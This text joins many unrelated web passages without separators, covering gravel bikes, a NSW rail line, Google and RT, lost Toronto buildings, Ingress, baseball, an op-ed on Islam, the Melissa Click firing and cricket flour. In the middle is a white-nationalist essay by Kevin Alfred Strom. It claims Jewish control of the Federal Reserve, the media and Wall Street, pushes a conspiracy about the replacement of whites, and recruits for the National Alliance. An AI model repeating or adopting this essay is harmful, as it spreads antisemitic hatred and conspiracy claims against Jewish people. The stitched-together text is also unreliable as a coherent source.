A pure cyclocross frame won’t have eyelets for mudguards or racks, because you’ll never need them for racing. But they’re a feature of gravel/adventure bikes because you might want to racks to carry luggage, and mudguards to help keep you dry.
A frame’s geometry — the angles and lengths of its various tubes — determines how it handles, and here there are significant differences.
A cyclocross bike will usually have a head tube of around 72-73° for quick turns, while a gravel/adventure bike’s will be a degree or so shallower for steadier handling.
The riding position is also different, with longer head angles and shorter top tubes on gravel/adventure bikes giving a more upright position.
Raleigh anticipated the need to fly a light aircraft through the chainstays of its Maverick gravel/adventure bike
Out back, a gravel/adventure bike will have longer chainstays so there’s heel clearance for panniers. A cyclocross bike typically has 425mm chainstays; on a gravel/adventure bike they’re as long as 465mm.
Of course this wouldn’t be the bike industry without glaring exceptions to general rules. Specialized’s Diverge gravel/adventure bike has 415mm chainstays to tuck the back wheel in for more traction on steep climbs. Specialized presumably expects multi-day riders to go with frame bags and plus-sized saddle bags rather than traditional panniers, or to choose the Sequoia range with longer stays and rack and mudguard eyelets.
There are also cyclocross bikes with rack and mudguard eyelets, because bike makers recognise that many riders have picked up ’crossers as fast urban pothole-bashers. Many of these bikes have morphed into gravel/adventure bikes in the last couple of years. The Pinnacle Arkose range from Evans Cycles is a good example. It was originally billed as a cyclocross bike, but now has fatter tyres and Evans calls it an adventure bike.
Read more: Buyer’s guide to gravel and adventure bikes plus 16 of the best
Tyres
Gravel/adventure bikes usually come with fat, multi-purpose tyres like these Kenda Small Block Eights
The rules set by cycle racing’s governing body, the UCI, say cyclocross tyres have to be no more than 33mm wide. There’s usually room in a cyclocross frame for tyres that are a bit wider than that, and there’s room for mud clearance, but gravel/adventure bikes will typically take much bigger tyres. Trek fits 2.0in tyres to its 920 adventure tourer, while Specialized goes 1.9in for its AWOL models.
You'll find dirt-specific knobblies on dedicated cyclocross bikes
However, some, like Norco’s Search bikes, just go a bit fatter with 35mm tyres, while Cannondale’s Slate has 42mm tyres and 650B wheels, the ‘middle’ size used on mountain bikes.
Tubeless-ready wheels are increasingly common on both cyclocross and gravel/adventure bikes. Tubeless tyres aren’t susceptible to pinch punctures caused by the tyre bottoming out on the rim — there’s no tube to pinch. They can therefore be run at lower pressures.
Gears
Trek fits a wide-range double with a big emphasis on low gears to its 920 adventure bike
Classic cyclocross race gearing combines a 46/36 chainset and a medium-wide cassette like an 11-28. You don’t need the high gears of a road bike because you won’t be zooming downhill at over 40mph, but you still need fairly low gears for climbing the courses more rideable slopes.
Adventure/gravel bikes have wider range gearing, but may sacrifice some top end to get lower ratios at the bottom. A 50/34 chainset with an 11-32 cassette is common, but some bikes widen the range with a 48/32 or even 42/28 chainset. Others go for the simplicity of a 1 x 11 system.
If you’re an old fart like me, you might be surprised that almost no gravel/adventure bikes have a triple chainset. You could get a bigger range with an extra chainring, but even I have to admit you get a pretty useful range when you combine a 42/28 with an 11-36 cassette.
Brakes
If the UCI hadn’t given the green light in 2010 for cyclocross racers to use disk brakes, the gravel/adventure category might never have happened — or at least not happened so quickly.
Every gravel/adventure bike we can find uses disk brakes. As well as their advantages in stopping power and consistency in the wet, disks have a very big advantage for bikes ridden on lousy surfaces: they’re not affected by rim damage. This is well worth the extra few grams over cantilever brakes.
A handful of cyclocross bikes are still available with cantilever brakes, but cyclocross bikes almost universally use discs too, for much the same reasons.
The big picture
In their purest form cyclocross bikes have a very narrow purpose and that leads to very specific frame design and features. They’re brilliant for cyclocross racing but limited as all-rounders by their lack of provision for mudguards and racks, their relatively narrow gear ranges and inability to take very fat tyres.
For many, the riding position of a pure cyclocross race bike will be too aggressive; fine for an hour and a lap exploring the upper limits of your aerobic range, less ideal for a full day exploring lanes and trails.
Gravel/adventure bikes take ideas from cyclocross bikes and throw in fatter tyres rom mountain bikes and hybrids, wider gear ranges from touring bikes and all-day riding positions from sportive bikes. The details of the mix vary between manufacturers, but they’re clearly a new, distinctly separate breed.
Considering that Indiana, North Dakota, and West Virginia all voted for Donald Trump by over 20-point margins, it seems rather silly to "go after" the seats of three elected officials in the primary process when in all likelihood a more liberal candidate would be demolished in the general by a Republican. It's as if they've never heard the saying "don't let the perfect be the enemy of the good."
Posted
A push to reopen a rail line in New South Wales, considered the "missing link" between the state's south and west, is gaining momentum, with inspections beginning into the condition of the track.
The Blayney to Demondrille line, which runs through prime farming country in the state's central west, has been lying dormant for about a decade.
Much of the 180-kilometre corridor is now grassed over and washed away, but it has failed to dampen the enthusiasm among the region's leaders for bringing it back online.
A group of councils have been building a business case for reviving the route, which recently received a boost after the NSW Government committed $5 million dollars to help reopen a section of it.
But Blayney's mayor Scott Ferguson said the business case was strong for the whole route to be revived.
"We believe it is the missing link and certainly, we believe there is a business case to make, not only along the rail line that would use it, but certainly we believe it's an important link for the greater western area," Cr Ferguson said.
He said bypassing Sydney and developing a freight route south into Port Kembla would help grow the inland New South Wales economy.
Condition of rail corridor under spotlight
Early estimates have put the cost of the project at up to $40 million.
A study is now underway to get a clearer picture of the costs, led by the company Lycopodium Infrastructure.
Its managing director, Stuart Sutherland, has been walking along parts of the corridor this week to find out what shape it is in.
He said it was overall in pretty good condition.
"As we've gone, we've observed that the majority of the corridor is still there, and rail is a long life asset so you wouldn't expect major deterioration," Mr Sutherland said.
"We've seen some areas of washaways but in the scheme of things, they're fairly isolated."
Mr Sutherland said the priority would be to try and get at least part of the corridor reopened.
"The first prize for this line would be a partial reopening, potentially to Cowra, and I think we could see some commodities start to move back onto the main south," he said.
"But the ultimate game would be to reconnect the strategic blueprint that was really developed with John Whitton, the father of New South Wales, over 100 years ago.
"It's sad to see, in a lot of respects, that some key trunk regional lines like Blayney-Demondrille are non-operational.
"Because if you look at the strategic connectivity you get out of this, you connect the main western line with the main southern line, and from that should bring economic growth for the region."
He said for rail towns such as Carcoar, the economic benefits of having trains roar through the area again would be enormous.
"It's certainly an empty feeling coming out here and feeling the crunch of the ballast and the birds in the background," Mr Sutherland said.
"But what that low groan of steel wheels on steel rails gives you is that prosperity."
"We are working on detecting and de-ranking those kinds of sites — it's basically RT and Sputnik," Schmidt said during a question and answer session at the Halifax International Security Forum in Canada. "We are well of aware of it, and we are trying to engineer the systems to prevent [the content being delivered to wide audiences]. But we don't want to ban the sites — that's not how we operate."
Schmidt's response came after a guest in the audience asked the 62-year-old executive whether Google facilitated "Russian propaganda." The comments were in relation to a larger discussion on the search engine's Google News services which offers viewers a range of articles on certain topics.
Schmidt later noted that he was "very strongly not in favor of censorship," but that instead he had faith in "ranking" stories. He did not comment on whether engineering a computer program to hide information could be seen as amounting to censorship.
Giving insight on the capabilities of the new algorithm, the official did indicate that it would be able to detect "repetitive, exploitative, false, and weaponized" information.
In response to Schmidt's statement, Margarita Simonyan said, "Good to have Google on record as defying all logic and reason: facts aren't allowed if they come from RT, ‘because Russia' — even if we have Google on Congressional record saying they've found no manipulation of their platform or policy violations by RT."
Speaking to Sputnik News, Robert Epstein, a research psychologist, called Google's interference "very dangerous."
"Companies like Google and Facebook play both sides: they pretend to be objective but exercise enormous editorial control," he said.
Faced with having to close down its US-based offices and with its employees under threat of arrest, RT announced just a week ago that the news organization had registered under the Foreign Agents Registration Act. RT called the sudden deadline to register imposed by the US Justice Department "cannibalistic" and decried the requirement as a blow to free speech.
by Kevin Alfred Strom
DO YOU STILL THINK you have a country? When I said last week that our enemies had stolen our state from us, some listeners responded with derision. The letter-writers weren’t hostile Jews or Blacks or Mestizos. They were White Americans. In fact they were racially conscious White Americans. (ILLUSTRATION: The SS America, abandoned and beached off the Canary Islands, symbolizes what has happened to our country.)
One was a student who was hoping for a career with the ATF or the Border Patrol. He firmly believed that that with just a few more good conservative White men in the right “law enforcement” positions, we could straighten things out pretty quickly in this country. Another was a young man in the military, and he was sure that “whipping the asses” of those “Arab terrorists” would send a message that America wasn’t down and out but stronger than ever, and our “freedoms” would be secure.
These men, I think, are willfully blind. They don’t want to see the whole truth of how we’ve lost our country — how the state has been stolen from us — because it’s too painful; because they’d have to realize they are functionaries and literal slaves of those who want to exterminate them; because then they’d have to change their career plans, or at least become monkey-wrenchers and kiss all hopes of a cushy pension goodbye. Mainly I think they want to believe that America is still theirs because they are weak and emotionally dependent on the idea — their very identity is wrapped up in it, and they can’t face a world in which it isn’t true.
But it isn’t true.
These men remind me of the absurd characters in the old BBC comedy The Goon Show. Often, when someone told them an unpleasant but obvious fact, they would simply respond “I don’t wish to know that!” And that settled it. Since they didn’t like the truth, they simply refused to acknowledge it, as if that would make it go away. That kind of denial is a pretty common human characteristic. The degenerate Romans who kept on partying and engaging in orgies while the barbarians were advancing, street by street, through their city are another example.
But people, like those Romans, and like those letter writers, who deny reality can never be truly free. They can never be masters of their destiny. They can never really deal with the challenges life has to offer, because they don’t even know what those challenges are, much less know how to defeat them. Knowing what is really happening is a prerequisite for meaningful action. The only action those letter writers will ever know — unless they wake up — is obeying orders.
Do you still think you have a country? President Obama has just nominated Janet Yellen to be Chairman of the Federal Reserve, possibly the greatest position of economic power in the world. The Federal Reserve is the quasi-public, privately-owned central bank that has near-total control of the money supply, interest rates, the banking “industry,” and in fact the entire economy of the United States. Every single dollar that is added to the money supply — and every single dollar that the “Fed” lends to the regime — earns interest for the banking system of which the Fed is the center. Janet Yellen is Jewish.
And not only is Janet Yellen Jewish, so was her predecessor Ben Bernanke — and so was his predecessor, Alan Greenspan. In fact, every chairman of the Federal Reserve since 1987 — 27 years ago — has been a Jew. And every candidate that Barack Obama considered for the position — Donald Kohn, Larry Summers, Timothy Geithner, Stanley Fischer, Roger Ferguson, and Yellen — is Jewish except Geithner and Ferguson, who’s a Black man with a Jewish wife.
What are the chances that the Jewish minority — only about two per cent. of the US population — should hold such a monopoly on the Fed chairmanship? If they were represented in proportion to their percentage of the population, there should be 49 non-Jewish chairmen for every Jewish one. But since the Reagan administration it’s been all Jews. Do you still think you have a country?
Even the Jewish writer Steven Weiss, writing in Tablet magazine, which bills itself as “a new read on Jewish life,” is crowing about Jewish supremacy at the Fed:
“Yellen’s ascent to the post will also guarantee that, by the end of her first term, Jews will have occupied the Fed’s top post for three decades straight – an unprecedented run of Jewish power and influence. The chairman’s seat hasn’t been occupied by a non-Jew since 1987, when Alan Greenspan was appointed by President Ronald Reagan to follow Paul Volcker. With the succession of Ben Bernanke in 2006, under President George W. Bush, and now the appointment of Yellen by President Barack Obama, it’s worth remembering that there is a concept in Jewish thought called chazakah: When something happens three times, it can be considered permanent. Applied to the Federal Reserve, it would suggest an impossibly firm grasp on a degree of power the likes of which the Jewish people have never known.”
Do you still think you have a country?
And that’s not all. Now that Janet Yellen is chairman of the Federal Reserve, who do you think Barack Obama has nominated to replace her as vice chairman and likely front-runner for chairman when Yellen’s term runs out? Well, using his own independent best judgement, without any outside influence I’m sure, Obama has nominated none other than Stanley Fischer, a Jew who not only was not born in the United States but in Zambia, of all places, but who until just a few months ago was the governor of the Bank of Israel. Do you still think you have a country?
The mass media of news and entertainment have a vast influence on society. Outside of what a person has experienced personally — what he or she has actually seen with his own eyes, learned in school, or heard from a friend or loved one — almost everything we think we know about the world, everything we think we know about current events, everything we think we know about our political leaders, comes to us carefully selected and filtered by the mass media.
The mass media set the fashion trends. They select which four or five stories are worthy of being mentioned during the evening news or put on the front page — and which stories are buried on page D7 or are never mentioned at all. They decide what “spin” to put on those stories. They decide who the “good guys” are in any conflict — and the “bad.” They tell the talking-head newscasters when to express outrage and disapproval — and against whom. They create heroes and superstars in their dramas and comedies, and they put words in their mouths for the public to follow. They decide which bands will get maximum airplay, which lyrics will get stuck in the head of your teenage son or daughter. They set the limits of public debate, and decide who is too “radical,” right or left, to be included. They maintain massive files on all public figures and activists in cooperation with ethnically-based private intelligence agencies like the SPLC and the ADL, and they have moles (which they call “sources”) in law enforcement and secret police agencies too, so that scandals can be manufactured almost at will anytime a politician or other official “gets out of line,” destroying his career almost overnight.
No power is our society is greater than that of the media. They have an absolute stranglehold on the political process in our mass democracy. And the media in the United States are almost entirely under the ownership and control of the two per cent. — of the Jewish minority.
The “big six” media corporations in America are CBS, NBC Universal, News Corporation (owner of Fox News), now 21st Century Fox, Time Warner, Viacom, and the Walt Disney Company (which owns ABC). Of the twelve senior executives of these corporations, if Jews were represented among them at the same percentage they are represented in the American population, one would expect that at most one of them would be Jewish. But such is not the case. Of these twelve senior executives, nine are Jews — a representation of 75 per cent. In calculating the 75 per cent. figure, I’m not even counting Rupert Murdoch, owner of News Corporation (now 21st Century Fox) and Fox News, as Jewish, despite his appearance, despite the fact that his grandmother was undoubtedly Jewish and despite the fact that he fanatically supports Zionism and other Jewish causes.
The Executive Chairman of both CBS and Viacom is Sumner Redstone, a Jew whose MTV channel is one of the worst offenders in degrading our young people with filth and promotion of racial mixing. The CEO of CBS is Leslie Moonves, also Jewish — in fact, he’s the great-nephew of David ben-Gurion, the first prime minister of Israel. The Chairman and CEO of Comcast, which owns NBC Universal is Brian L. Roberts, a Jew who has even participated in the international Jewish athletic event, the Maccabiah Games, in Israel. Philippe Dauman, a Jew, is the President and CEO of Viacom, and also sits on the board of a New York Jewish health system and is a United Jewish Appeal honoree. Robert Iger, the Chairman and Chief Executive Officer of Disney/ABC, is a Jew who also was named “Ambassador for Humanity” by Steven Spielberg’s USC Shoah Foundation. Disney’s senior vice president is attorney Alan Braverman, also a Jew.
And that’s just the beginning — look at the presidents of other media companies: CNN — Jeffrey Zucker; MGM — Jonathan Glickman; MTV — Stephen Friedman; USA Today — Larry Kramer; Comedy Central — Doug Herzog; Reuters — Stephen Adler; Los Angeles Times — Eddy Hartenstein; Discovery Network — David Zaslav; Yahoo — Marissa Mayer; Marvel Comics — Isaac Perlmutter; Hulu — Andy Forsell; Touchstone Pictures — Alan Bergman; HBO — Eric Kessler. I could go on and on, and the list of CEOs and Chairmen is just as heavily Jewish.
So 75 per cent. of the top executives of major media companies in America are Jews — controlling almost all that you and your family see and hear about the world. That is an over-representation of 3,650 per cent. Do you still think you have a country?
Jewish control of the media and the Fed is not the end of the story, though. Wall Street — that fantastic casino of ownership and speculation whose creation of derivatives has brought about a virtual private currency for the super-rich and whose death grip on the political process has infamously caused Washington to bail out brazen financial criminals to the tune of dozens of billions of dollars — is also a Jewish preserve.
According to Who Controls America? “Of the fifty-one senior executives of the major Wall Street banks, trade exchanges, and regulatory agencies, thirty-seven are Jews or have Jewish spouses. This is a numerical representation of 72%. Jews are approximately 2% of the U.S. population. Therefore Jews are over-represented among the senior executives of the major Wall Street banks, trade exchanges, and regulatory agencies by a factor of 36 times (3,600 percent).”
Furthermore, according to the same source, “Of the forty senior executives of the major Wall Street mutual funds, private equity funds, hedge funds, and brokerages, twenty-six are Jews or have Jewish spouses. This is a numerical representation of 65%. Jews are approximately 2% of the U.S. population. Therefore Jews are over-represented among the senior executives of the major Wall Street mutual funds, private equity funds, hedge funds, and brokerages by a factor of 32.5 times (3,250 percent).”
Do you still think you have a country?
When you think about the degree of control that the tiny Jewish minority has over the United States, and the great danger that poses for the rest of us, you need not regard Jews in any kind of “demonic” light — though there is indeed something special, something hyper-ethnocentric, about them. No. You need only realize that with their unity, they have taken over the levers of power in our society, and that they are strongly conscious of themselves as a special, separate people, with interests that are not necessarily our interests. They are a foreign people who have, for all practical purposes, taken over the function of the ruling class in America, displacing the old White ruling class and forcing even elite Whites into a kind of secondary, managerial, or employee status. This foreign people, furthermore, sees the replacement of Whites worldwide with non-White immigrants as being in their best interest, and they are pursuing that policy with a vengeance — not only in the United States, where they are flooding us with Mestizos and Third Worlders of every description, but in Europe too, where a Muslim invasion of unprecedented proportions is taking place under Jewish supervision. It’s happening in Australia and New Zealand, too, where the Jewish leadership is solidly behind replacing Whites with Asians as fast as possible.
Do you still think you have a country?
Not only do we White Americans not have a country anymore, but most Europeans worldwide have lost theirs, too, and for the same reason. Only in Eastern Europe are some leaders resisting White suicide, and these leaders are increasingly under pressure from Jewish-dominated “Western” intelligence agencies and diplomats, and phony revolutionary movements funded by Jewish money.
It’s time for White people to start thinking racially. It’s time for a new kind of nationalism — racial nationalism. It’s time for a new kind of community in which helping your fellow White man and White woman comes before private profit and advantage. It’s time to realize that our spiritual heritage has nothing to do with worshipping a Semitic tribal god and everything to do with our people’s evolution to a higher level of consciousness and understanding. It’s time for the National Alliance.
The Land Registry Office on Albert Street in 1942. ( Unknown / Star archives )
University Avenue Armouries
The Armouries building on University Avenue in 1925. ( John Boyd )
Built between 1891 and 1893, this brick building stood on University Ave. just north of Osgoode Hall until it was torn down in 1963.
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Local historian, author and tour guide Richard Fiennes-Clinton calls it a “squat version of Casa Loma,” just a few storeys high but reminiscent of a Scottish castle. Troops trained there for both of the world wars, and public events, such as a turn-of-the-century car show, were also held in the imposing structure, Fiennes-Clinton said. Decades after it was demolished a large bullet was found near the site, triggering an evacuation of a construction site, according to a Toronto Star article from 2015. Chorley House
Chorley House pictured in 1933. The building was torn down in 1963. ( William James )
Call it Toronto’s lost Downton Abbey, Chorley House was the official residence and working office of Ontario’s lieutenant-governor. Fiennes-Clinton calls it a “stunning piece of architecture” that wouldn’t seem out of place among the grand French chateaus.
“It’s probably one of the most beautiful homes that ever existed in Toronto,” Fiennes-Clinton said. Built in 1915 and set in Rosedale’s leafy Chorley Park, the mansion was closed during the Great Depression amid concerns over government spending.
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It later served as a military hospital and then RCMP Toronto headquarters, as well as refugee housing, before being demolished by the city in 1961. A small stone bridge in the park is all that remains. “It is too bad. They put all this effort into it and they built this beautiful home and it was used for like 20 years,” said Fiennes-Clinton. Shea’s Hippodrome Theatre
Shea's Theatre as it was in 1956.
This enormous theatre opened in 1914 on Bay St. at Albert St., only to become a casualty of the creation of Nathan Phillips Square. It was demolished in 1957, according to City of Toronto archives. Originally built as a vaudeville music hall, it featured live musical acts with chorus lines and even trained animals. “It was kind of like the Muppet Show, except live and with people,” said Fiennes-Clinton. Luckily, one of the hallmarks of an evening out there has survived. Its organ now sits in Casa Loma after a stint at Maple Leaf Gardens, said Fiennes-Clinton. “When they showed vaudeville or they played silent movies, this big, massive organ would rise,” he said. “It would come up out of the stage with the organist playing it.” Registry of Deeds and Land Titles Built between 1914 and 1917, according to the City of Toronto archives, this neo-classical building looks like something out of ancient Greece, with its grand Ionic columns. Designed by architect Charles S. Cobb, it stood at 94-98 Albert St. until it was razed during construction of Nathan Phillips Square. It’s shown here in the shadow of the modernist new city hall in this photo from 1964. Toronto Star building The Star’s old building at 80 King St. W. is now distant history, demolished in the early 1970s after the newsroom moved to its current location at 1 Yonge St.
The old Toronto Star building was demolished in the early 1970s.
What is the Niantic Project?
Is this just a game? An Investigation Board (http://www.nianticproject.com) filled with cryptic clues and secret codes awaits. The story evolves everyday. Powerful secrets and game tech are there to be unlocked.
Ingress is actually the name of the game that’s already available for download from the Play Store free of charge, as long as you have a proper invite.
We’re looking at a virtual reality-based massively multiplayer online role-playing game (MMORPG) that will be played on Android devices and will require users to join one of the two camps, “The Enlightened” or “The Ressistance:”
“The Enlightened” seek to embrace the power that this energy may bestow upon us.
“The Resistance” struggle to defend, and protect what’s left of our humanity.
Once that’s done, you’ll have to look around town for clues and quests to discover the purpose of “a mysterious energy” that has been recently unearthed by scientists in Europe – yes, the game will actually have you walk around town to accomplish local goals.
You’ll have to join forces with other players, stay in touch, find objects and “deploy tech to capture territory,” all from your Android device, hence the virtual reality features.
Which side will you choose? In order to get invitations for the beta, you’ll actually have to go to Ingress.com and ask for one. A public launch is yet to be announced. But the good news is that the game will work on devices running Android 2.3 or later and require just 22MB of storage. So why not try it out?
Rep. Ron Paul, whose enthused supporters have made him one of the cycle's best-funded Republican candidates, is pouring cash into an unusual, early television advertising buy in Nevada, according to a media buying source.
Paul will spend $120,000 in the Reno and Las Vegas media markets for an ad buy that begins tomorrow and runs through July 21, Thursday.
Nevada's caucuses come early in the 2012 Republican nomination contest, but haven't historically played a crucial role. They fell on the same day in 2008 as the South Carolina Republican Primary, and were ignored by many candidates, though Mitt Romney, who campaigned in Nevada and relied on well-organized Mormon support, won them handily with 51% of the vote.
Paul -- who saw little electoral success elsewhere -- delighted supporters by finishing 2nd with 14 percent of the total votes in Nevada, squeaking past the party's eventual nominee, John McCain.
Paul is also on the air in Iowa in advance of that state's straw poll, but it's unclear what's driving the timing of his advertising in Nevada, and the news prompted some head-scratching among observers. The media consultant who noted the early buy to POLITICO labeled it "total highway robbery by [Paul's] media team"
Josh Hamilton and Chris Gimenez are both playing games in extended spring training, Rangers manager Jeff Banister told reporters (including MLB.com’s T.R. Sullivan). Gimenez could start a rehab assignment as soon as Monday, as the catcher looks to return after being sidelined for a month by an ankle infection. Hamilton faces a longer road back to the bigs, as he’ll play in extended spring games for the next week and then some minor league action. Banister said the Rangers want to see Hamilton get around 35 plate appearances before considering a return to the MLB roster. Hamilton has battled left knee problems all offseason, and has already undergone two operations and a stem cell/PRP injection within the last eight months.
and are both playing games in extended spring training, manager Jeff Banister told reporters (including MLB.com’s T.R. Sullivan). Gimenez could start a rehab assignment as soon as Monday, as the catcher looks to return after being sidelined for a month by an ankle infection. Hamilton faces a longer road back to the bigs, as he’ll play in extended spring games for the next week and then some minor league action. Banister said the Rangers want to see Hamilton get around 35 plate appearances before considering a return to the MLB roster. Hamilton has battled left knee problems all offseason, and has already undergone two operations and a stem cell/PRP injection within the last eight months. The Rangers have a solid history of producing good young position players, MLB.com’s Phil Rogers writes, and Nomar Mazara is one of the most exciting of them all. The 20-year-old Mazara has made a huge impact in his first taste of big league action, taking a .378/.419/.514 slash line over 43 PAs into Saturday’s play.
have a solid history of producing good young position players, MLB.com’s Phil Rogers writes, and is one of the most exciting of them all. The 20-year-old Mazara has made a huge impact in his first taste of big league action, taking a .378/.419/.514 slash line over 43 PAs into Saturday’s play. Melvin Upton is enjoying a good season and could eventually be a trade chip for the Padres , Dennis Lin of the San Diego Union-Tribune writes as part of a reader chat. San Diego would probably still have to eat some of the roughly $30.18MM owed to Upton through the 2017 season to make a trade work. That would still represent something of a win for the Padres and Upton, as his deal was though to be one of the worst in baseball at this time just a year ago. In two seasons as a Padres, however, Upton has regained some value by hitting .261/.334/.433 with seven homers over 292 PA and he also posted above-average defensive metrics in center field in 2015.
Sometimes it feels like we are living in a giant self-esteem seminar.
When ISIL started beheading men, crucifying Iraqi Christians and sexually enslaving teen girls, a Facebook page and Tumblr sprang up called #Muslimapologies. Now, you might think the people behind this movement were motivated to bring together the good, peace-loving Muslims to renounce the barbarism being done in the name of their common god and holy book.
But no. The hashtag is a forum in which to assuage their sense of group victimization.
The Huffington Post called “The Top Ten” such tweets, which ooze condescension and superciliousness, that would be, needless to say, politically incorrect coming from members of any other of the three dominant religions.
“I’m sorry for inventing surgery, coffee, universities, algebra, hospitals, toothbrushes, vaccinations …”
“I’m sorry if my beard scares you, it’s hormonal, I swear.”
And the most offensive of all: “I’m sorry Muslim women had rights 1,400 years ago while you were still discussing if women had souls.”
Barrel of laughs!
Imagine the outrage if Jews had set up a religiously self-congratulatory hashtag and Tumblr during the bombing of Gaza, or if Christians started patting themselves on the back about their compassion after W. rained Shock and Awe on Baghdad.
Muslims might actually want to, if not apologize for, at least renounce, loudly and frequently, what’s being done in the name of their religion. Yet, in the current climate, to say that is to risk being accused of Islamophobia and much, much worse.
In Europe they even have laws to keep the conversation within the above boundaries. That’s how the great Italian journalist Oriana Fallaci, who called the burqa “this filthy medieval rag,” spent her last days on earth on trial for hate speech. Danish cartoonists who made black humor of jihadists bombing for Allah had to build themselves safe rooms.
In Amsterdam, when fundamentalist immigrants needed state-subsidized housing, but wanted to keep their females from defiling the common areas, the Dutch government gamely built dividing walls in their apartments.
Here in god-lovin’ America, we progressives couch our discussions about Islam’s issues in terms of atheism versus religion. (FoxNews and neocons have their own discussion going on.) We watch Bill Maher and Sam Harris on one side of the ring, verbally punching Ben Affleck, Nick Kristof. (There are almost never any women in the ring, unless a booker decides to round up someone in a headscarf.)
Atheists believe religion itself, and especially the living interpreters and leaders of Islam have much to answer for in regards to terrorism, and the current state of mayhem around the world.
Progressive apologists and the PC Muslim intelligentsia tend to respond to critiques with nasty words like bigotry, racism and Islamophobia.
They like to point out that the West is reaping what it sowed among the Muslims after decades of colonialism, and now, blowing off dead civilians in drone attacks as collateral damage.
There is truth to the collateral damage accusation. But let’s remember why the drones went over to Afghanistan in the first place: thugs took over, settled in with civilians and plotted and carried out global mayhem.
As for blaming colonialism: the notion that Islam had a gentler side when the West showed up is totally inaccurate. As I documented in my book about Napoleon’s scientists in Egypt, when the French arrived in Egypt in 1800—the first large-scale interaction between the west and Islam in modern history—they were appalled at the treatment of women.
Just one example: in his journals, Vivant Denon—who would go on to be first director of the Louvre—described encountering a woman in the middle of the desert with an infant on her back. Blood streamed down her face and a close look proved that both her eyes had been stabbed out. Denon wanted to give aid, but the locals told him her husband had merely meted out the approved punishment to unfaithful women.
As in 1800, so today for women in most Islamic countries, where honor killing and abuse and hatred of female sexuality still rules—and not just among the jihadists. RIP to Reyhaneh Jabbari, hanged by the Iranian government last weekend at 26. For stabbing her rapist.
Sometimes—but not often enough—actual Muslims enter the room. Iranian-American writer and academic Reza Aslan has made himself into the go-to guy for the Council on Foreign relations, MSNBC, Beast and other progressive outfits when they need to trot out a reasonable man.
Mr. Aslan, a looker, is the handsome exemplar of the “religion of peace.” He’s palatable to faith-based Americans because he is a lifelong religioso, having converted to evangelical Christianity as a tender teen, then returning to the Muslim fold.
Mr. Aslan believes—in a God.
After the latest Maher/Harris versus Kristof/Affleck bout, Mr. Aslan found an atheist with whom to co-write a piece in The Guardian, headlined “‘Violent’ Muslims? ‘Amoral’ atheists? It’s time to stop shouting and start talking to each other.”
The little essay outrageously attempted to equate savage Islamist attitudes toward women—sanctioned wife-beating, deprivation of basic rights including the right to divorce and drive cars and inherit wealth—with recent allegations in the atheist world that women have been harassed in elevators at atheist conferences.
They also try to argue that atheists and Muslims are equally “underrepresented.” Utterly ludicrous when more than a billion people identify as Muslims and entire nations—Egypt, Indonesia, Afghanistan, Iran and the Gulf monarchies—identify as Muslim. Where is the atheist nation, gentlemen? I’d like to get my passport.
Reza Aslan and his ilk contort themselves to avoid the fact that muezzins the world over have raised the planetary threat level thanks to the Wahhabi takeover of Islam.mu
When progressives like Mr. Aslan refuse to condemn what’s going on inside the mosques, they are as much a part of the problem as the men in the minarets, medieval termagants obsessed with maintaining power over sheeple’s minds and souls.
There is one brave Muslim voice playing on Broadway now. Ayad Akhtar won the 2013 Pulitzer for Disgraced, which charts the collapse of a Pakistani-American lawyer’s life during a night when the ugliest demons of his religious upbringing rise up, and he winds up reconnecting with his inner wife-beater.
It was interesting to watch Disgraced in an audience of New Yorkers—theater-goers, sexually ambiguous, politically correct, neurotic about Ebola and paranoid about terrorism—as actor Hari Dhillon admits he felt a “blush” of pride on 9-11, and explains how he was trained as a boy to spit in the face of a Jewish girl he liked.
One could sense the thought bubbles popping up all over the theater: “Can they really say that?!?”
We’re all so used to bending over backward—like Reza Aslan, and like every other academic Mr. Aslan dines with—that nobody in polite company ever says what Mr. Akhtar says in this play, that for Muslims to join modernity, they must relinquish at least some of the tribalism and sense of humiliation at the root of the politics of Islamism.
It’s been said so often that it’s a trite-ism—Islam needs a reformation. But it’s true. And for that to happen, Islam needs more brave souls like Mr. Akhtar—not appeasers like Reza Aslan and PC progressives like Mr. Affleck.
In an interview with NPR after he won the Pulitzer, Mr. Akhtar used the word “rupture” to describe what’s happening in Islam. “An artist’s job is to tease and poke and question the larger racial, ethnic, religious and social conscience and in the process to provoke questions that lead to new practices and new way of seeing. Being in conflict with one’s subject matter is not such a bad sign after all.”
But when being in conflict with one’s subject matter brings on riots and actual physical attacks—not the ad hominem slurs of debate—too many choose the quiet way.
Melissa Click, who was fired by the Board of Curators late last month and initially justified her action as trying to stop a man with a gun, released a statement praising the American Association of University Professors (AAUP) for opening an investigation into her dismissal.
Columbia Daily Tribune reports that Click is publicly accusing the curators of running an unfair process and being influenced by the most unfair people of all, conservatives. She wrote in a statement:
In their decision to terminate my employment, the Curators bowed to conservative voices that seek to tarnish my stellar 12-year record at MU. Instead of disciplining me for conduct that does not “meet expectations for a University faculty member,” the Curators are punishing me for standing with students who have drawn attention to the issue of overt racism at the University of Missouri. While I have apologized on numerous occasions to numerous parties for my actions on October 10, 2015 [mixing it up with police at a protest] and November 9, 2015 [manhandling the student], I will not apologize for my support of Black students who experience racism at the University of Missouri.
RELATED: Mizzou’s Melissa Click says she feared student journalist had a gun
Click is essentially asking the public to forget that she threatened a student for exercising his First Amendment rights and see through to her deeper motive:
Instead of seeking to silence Black students and their allies, MU must acknowledge the concerns of marginalized students on our campus, address the racial problems that shape the campus community, and ensure fair treatment of all students, staff, and faculty.
AAUP notes that Click did not have tenure when she was fired, but considers her the equivalent – “a probationary faculty member within the term of appointment.”
The group will send three members from other institutions to visit Mizzou in Columbia in two weeks “to meet with administrators, board members, faculty leaders, and Professor Click,” it said:
After ascertaining the facts and the positions of the principal parties, the investigating committee will determine whether the board in dismissing Click violated the 1940 Statement of Principles on Academic Freedom and Tenure and derivative AAUP-supported academic procedural standards, whether its actions disregarded the institution’s own stated policies, and whether conditions for academic freedom and tenure at the institution are sound.
If its standing committee on tenure and academic freedom votes to censure Mizzou at its June 3-4 meeting, AAUP will put the vote to all members at its June 18 meeting.
Read the story and AAUP’s statement.
RELATED: Mizzou’s Melissa Click told police ‘get your f**king hand off me’ at previous racial protest
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The persuasive power of free food was evident as students lined up to sample cricket confections at EcoFest last Wednesday.
“It’s surprisingly, surprisingly good. Like you really can’t taste the difference,” said life sciences student Andrew Hart in between bites of a cricket flour brownie.
Cricket flour cookies and crackers topped with cricket hummus and roasted mealworms were also available courtesy of Bug Bites, a brand new U of T club promoting entomophagy — the practice of eating insects.
Bug Bites encourages students to eat insects “because they’re very environmentally friendly,” says co-founder Daniel Jubas-Malz, a psychology student.
